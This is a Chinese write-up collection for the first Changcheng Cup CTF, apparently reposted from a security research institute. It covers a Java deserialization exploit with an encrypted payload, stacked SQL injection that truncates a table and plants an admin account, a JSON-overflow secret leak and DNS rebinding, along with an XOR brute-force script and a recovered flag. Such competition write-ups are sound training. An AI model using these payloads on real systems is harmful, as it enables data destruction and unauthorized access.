第一届长城杯|web · misc · reverse部分wp合集

  • A+
所属分类:CTF专场

web部分




1. ezjava



分析附件可知attack路由会进行反序列化。
顺序是base64解码->AES解密->readObject
 
反序列化之后会转换成hashmap,然后获取第一个key对象


有一些限制:
key对象必须是URL对象
key对象的hashcode必须是72768382
这个URL对象的url必须是https协议
aes解密需要用到iv和key,都存在于配置文件中。
需要写一下Encryptor类的encrypt方法
 
构造如下exp

            URL uu = new URL("https://fuck");
            Field ff = uu.getClass().getDeclaredField("hashCode");
            ff.setAccessible(true);
            ff.set(uu, 72768382);
//            System.out.println(uu.hashCode());
 
            HashMap hm = new HashMap();
            hm.put(uu, "okok");
 
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(hm);
 
            System.out.println(Encryptor.encrypt(baos.toByteArray()));//getflag
 
得到payload:
12wXVxsSaj0AeRCrkummuENOeFnuqLdUqQzYl0v32nzs-v_o74o_1IBkpDPz3wIH0-m4jQUnnD811YZFr8K6Uia4XF2cyzMgSWQGQKoT-jt0yT2iUuCid1vhGx7sbKrDMFiZgvi6p9R11KzgTOjZJy5zrkngiG9HK1bs4sbRuLIi4kEY_qu0QMBIX6l0ujkH49setY5FtCagC-L1-bVh9Mq-uKWpBwmChMxL4uq41ohiF1KtKHKegORl4K3akx9ho4i0amz3wzvrAam-ok584u9i2ailXNFxkavCR6fXqbW-a4rotKI2eSawcd6YwtQtZ5FOknSZ5j5wm2ZhDPS0SQ==
 
post到attack路由即可。
  
第一届长城杯|web · misc · reverse部分wp合集
    
2. p&p 

经过测试可以使用堆叠注入,
不过qwb的一些做法,
如预编译或者rename改表名都因为过滤的原因导致无法使用,
正常查看表名:
 
```
username=admin&password=';show tables;&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
```
 
拿到:
 
```
//array(1) {
  [0]=>
  string(10) "fake_admin"
}
 
array(1) {
  [0]=>
  string(27) "real_admin_here_do_you_find"
}
```
 
有两个表,真正的admin密码应该是在real_admin_here_do_you_find表里面,
访问admin.php时提示:admin_inner,
应该是真正的admin的账号。
 
找了一遍mysql手册发现了一个truncate可以清空表:
 
https://dev.mysql.com/doc/refman/5.7/en/truncate-table.html
 
```
TRUNCATE [TABLE] tbl_name
 
username=admin&password=';truncate table real_admin_here_do_you_find;&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
```
 
不过看了下逻辑应该是必须要用admin_inner账号才能登陆,
于是想起insert,
但insert被过滤了找了手册找到了:
https://dev.mysql.com/doc/refman/5.7/en/replace.html
 
其中提到了:
 
````
REPLACE工作方式与 完全相同 INSERT,
但如果表中的旧行与 aPRIMARY KEY或UNIQUE 索引的新行具有相同的值, 
则在插入新行之前删除旧行。
````
 
那么就可以自己插入一个密码:
 
```
username=admin&password=';replace real_admin_here_do_you_find value('1','admin_inner','admin');&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
```
 
登陆后台有源码,
通过download下载后发现后台运行着一个flask,
看了下逻辑让其报500错误即可拿到secrets,
然后再通过curl的一个很明显的dns rebinding即可getflag。
 
这里的逻辑跟3kctf的ppaste有点像:
https://r0.haxors.org/posts?id=15,
让json溢出造成后端的flask500,因此有:
 
```
{"secrets":3.3e99999999999999}
```
 
拿到secrets后到curl处简单的dns rebinding即可,
这里用ceye提供的dns rebinding即可:
 
```
{"url":"http://ip:18888/flag","secrets":"00b252ba3f52a539ef90e7254f2d9874"}
```




MISC





1. 签到

ascii ->base64

第一届长城杯|web · misc · reverse部分wp合集




Reverse





1. 魔鬼凯撒的RC4茶室

第一部分改过的凯撒,第二部分rc4,
但也不完全是,还算了半天key,浪费时间
它只和一个字符进行了异或,直接爆破。

import string
import ctypes
s ="z8layn_b91_nb9ha1}kx"
str_upper = string.ascii_uppercase
str_num = string.digits
str_str = string.printable

res1 =""
for j inrange(len(s)):
    for i in str_str:
        ss =ord(i)
        a =0
        ifchr(ss) in str_upper:
            a = (ss +32+20-97) %26+97
        # if chr(ss) in str_lower:
        #     a = (i +  20 - 97) % 26 + 97
        ifchr(ss) in str_num:
            a = (ss +8-48) %10+48
        if a ==ord(s[j]):
            res1 += i
print(res1.lower())

key1 =hex(ctypes.c_uint32(-513026812).value)
key2 =hex(2028399278)
print(key1, key2)

tmp = [0x0D, 0x0A, 0xB2, 0xBF, 0xB9, 0xA5, 0xA6, 0xEF, 0xBF, 0xB1, 0xB3, 0xEF, 0xB0, 0xB9, 0x81, 0xEF, 0xAD, 0x81, 0xED, 0xB1, 0x81, 0xBB, 0xBF, 0xAD, 0xA7, 0x81]
for i inrange(256):
    result =""
    for j inrange(len(tmp)):
        result +=chr(tmp[j] ^ i)
    print(result)
#flag{x1aom1ng_1s_3o_easy_f0rget_h13_th1ng3}


- END -
第一届长城杯|web · misc · reverse部分wp合集
第一届长城杯|web · misc · reverse部分wp合集

本文始发于微信公众号(山石网科安全技术研究院):第一届长城杯|web · misc · reverse部分wp合集

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: